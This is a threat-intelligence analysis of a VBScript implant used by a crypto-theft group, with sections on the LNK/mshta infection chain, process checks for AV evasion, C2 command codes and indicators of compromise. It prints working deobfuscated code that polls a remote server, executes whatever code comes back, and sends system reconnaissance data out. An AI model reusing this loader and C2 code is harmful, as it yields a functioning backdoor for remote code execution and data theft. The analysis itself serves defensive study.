<h6>The initial vector is a executable RAR archive content a edited lnk, this writes the file in the temp folder and executes the remote code by mshta call.</h6>
<h6>The part of the code check by WMI request the process executed on the PC, modify the strategy in function of detection for avoid to be detected by the AV. Execute the next stage of the persistence.</h6>
```vb
list_process=""
set wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
set wmiresult=wmi.ExecQuery("Select * from Win32_Process")
for each obj in wmiresult
list_process=list_process&LCase(obj.Name)&"|"
next
'npprot -> npprot.exe -> Net Protector (Indian AV)
###### Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the script, this essential due to the URL to contact is pushing in argument. This use random call for get a random number for add a random suffix with ```?topic=sXXXXX```. On the site, whatever the URL, this redirects on another code to execute.
```vb
on error resume next
randomize
if WScript.Arguments.Length>0 then
url="http://"&WScript.Arguments.Item(0)
set whr=CreateObject("WinHttp.WinHttpRequest.5.1")
do while true
rtc=""
tpc=url&"?topic=s"&Int(1000*rnd+9000)
whr.Open "POST",tpc,false
whr.Send "200"
if whr.Status=200 Then
rtc=whr.ResponseText
end if
if rtc<>"" then
Execute(rtc)
exit do
end if
WScript.Sleep 180000 ' 50 min
loop
end if
```
<h6>The new bitly link redirect to a new domain witch usurp the Microsoft update domain, this load in memory the Visual Basic code to execute</h6>
<h6>The last functions are used for sending the informations founded to the C2 and receive the reply of the C2.</h6>
```vb
function post(u,content)
on error resume next
set hReq=CreateObject("MSXML2.XMLHTTP")
ul=u & "&isbn=" & (timer()*100)
hReq.Open "POST", ul, false
hReq.Send content
if hReq.Status=200 then
post=hReq.responseText
end if
end function
function uget(u)
on error resume next
set hrq=CreateObject("MSXML2.XMLHTTP")
ul=u & "&id=" & (timer()*100)
hrq.Open "GET", ul, false
hrq.Send
if hrq.Status=200 then
uget=hrq.responseText
end if
end function
```
<h6>The main code launches the recon action on the system and format for request in clear the informations to the C2, in function of the response of the C2, this executes commands on the system, in clear or with base 64 + substrings operations as obfuscation.</h6>
```vb
set sh=CreateObject("wscript.Shell")
ent=Chr(13)+Chr(10) '\n
tab=Chr(9) '\t
uID=CStr(rand())
if WScript.Arguments.Length>1 then
uID=uID&WScript.Arguments.Item(1)
end if
if WScript.Arguments.Length>0 then
uu="http://"&WScript.Arguments.Item(0)
end if
sData=getInfo()
if IsNull(sData) then
sData=""
end if
sData="Username:"+tab+getUName()+ent+sData
sUri=""
url=uu+"?topic=v"+CStr(randID())+"&session="+uID
do while 1>0
psc=""
curDate = "Current Time:"&tab&Date&" "&Time
pl=getProc()
pData=curDate+ent+sData+ent
if not IsNull(pl) then
pData=pData+pl
end if
res=post(url,pData)
if InStr(1,res,"20#")<>0 then
psc=NStep(res)
if psc<>"" then
Execute(psc)
exit do
end if
elseif res="21" then
exit do
elseif InStr(1,res,"23#")<>0 then
nps=InStr(1,res,"#")
Execute(bdec(Mid(res,nps+1,Len(res)-nps)))
end if
WScript.Sleep 60*1000
loop
```
<h6>We can list the codes used for the communications to the C2 and implant :</h6>
<h5style="color:red;">Note : # is a wildcard in VBA for matches with any digit character</h5>
<table>
<tr>
<td>Code</td>
<td>Description</td>
</tr>
<tr>
<td>20#</td>
<td>Execute commands in clear</td>
</tr>
<tr>
<td>21</td>
<td>Exit Session</td>
</tr>
<tr>
<td>22</td>
<td>OK received informations (debug commands)</td>
</tr>
<tr>
<td>23#</td>
<td>Execute commands with base 64 + substrings operations as obfuscation</td>
</tr>
</table>
<h6>We can see on the informations send in clear to the C2 that the list of informations rest the same since mid 2019 :</h6>
```
Current Time: 3/31/2020 3:31:37 AM
Username: USER-PC\admin
Hostname: USER-PC
OS Name: Microsoft Windows 7 Professional 32-bit
OS Version: 6.1.7601
Install Date: 10/05/2017
Boot Time: 3/31/2020 12:28:48 AM
Time Zone: (UTC 1 hours) GMT Standard Time
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64)
<h6>According with the analysis of the Japanese CERT (June 2019), the list is the same :</h6>
<ul>
<li><h6>Username</h6></li>
<li><h6>Hostname</h6></li>
<li><h6>OS version</h6></li>
<li><h6>OS install date</h6></li>
<li><h6>OS runtime</h6></li>
<li><h6>Timezone</h6></li>
<li><h6>CPU name</h6></li>
<li><h6>Execution path of vbs file</h6></li>
<li><h6>Network adapter information</h6></li>
<li><h6>List of running processes</h6></li>
</ul>
<h6>On the opendir, like the last observations on the group, legit VNC binaries can be found, this indicates that the group have kept the same TTPs for the extraction of the data. This high probable that the group do manual actions for reduce the security measures and execute the tools for obtain the data on the crypto-occurencies.</h6>
<h6>China doesn't recognize cryptocurrencies as legal tender and the banking system isn't accepting cryptocurrencies or providing relevant services for trading in place since September 2017. The Chinese government has recently promoted a law facilitating the transition to the exchange of a virtual currency led by the state, this change explained why since the campaign of January, China is now in the focus of the Asian countries targeted by the group (the announcement also caused an increase in bitcoins and these derivative currencies). The TTPs of the group are the same since mid 2019 and rest focus on the steal of the crypto-occurencies.</h6>
<h2> Indicators Of Compromise (IOC) <aname="IOC"></a></h2>
<h6> The IOC can be exported in <ahref="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/DangerousPassword/2020-04-02/JSON/IOC_DangerousPassword_2020-04_02.json">JSON</a> and <ahref="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/DangerousPassword/2020-04-02/CSV/IOC_DangerousPassword_2020-04_02.csv">CSV</a></h6>
<h6> This can be exported as JSON format <ahref="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/DangerousPassword/2020-04-02/JSON/Mitre-DangerousPassword_2020_04-02.json">Export in JSON</a></h6>
+ [Spear Phishing against Cryptocurrency Businesses](https://blogs.jpcert.or.jp/en/2019/07/spear-phishing-against-cryptocurrency-businesses.html)
+ [[Chinese]The Nightmare of Global Cryptocurrency Companies: Demystifying APT Group's "Dangerous Passwords"](https://www.secrss.com/articles/16505)
+ [China Enacts Crypto Law in Run-Up to State Digital Currency Debut ](https://cointelegraph.com/news/china-enacts-crypto-law-in-run-up-to-state-digital-currency-debut)
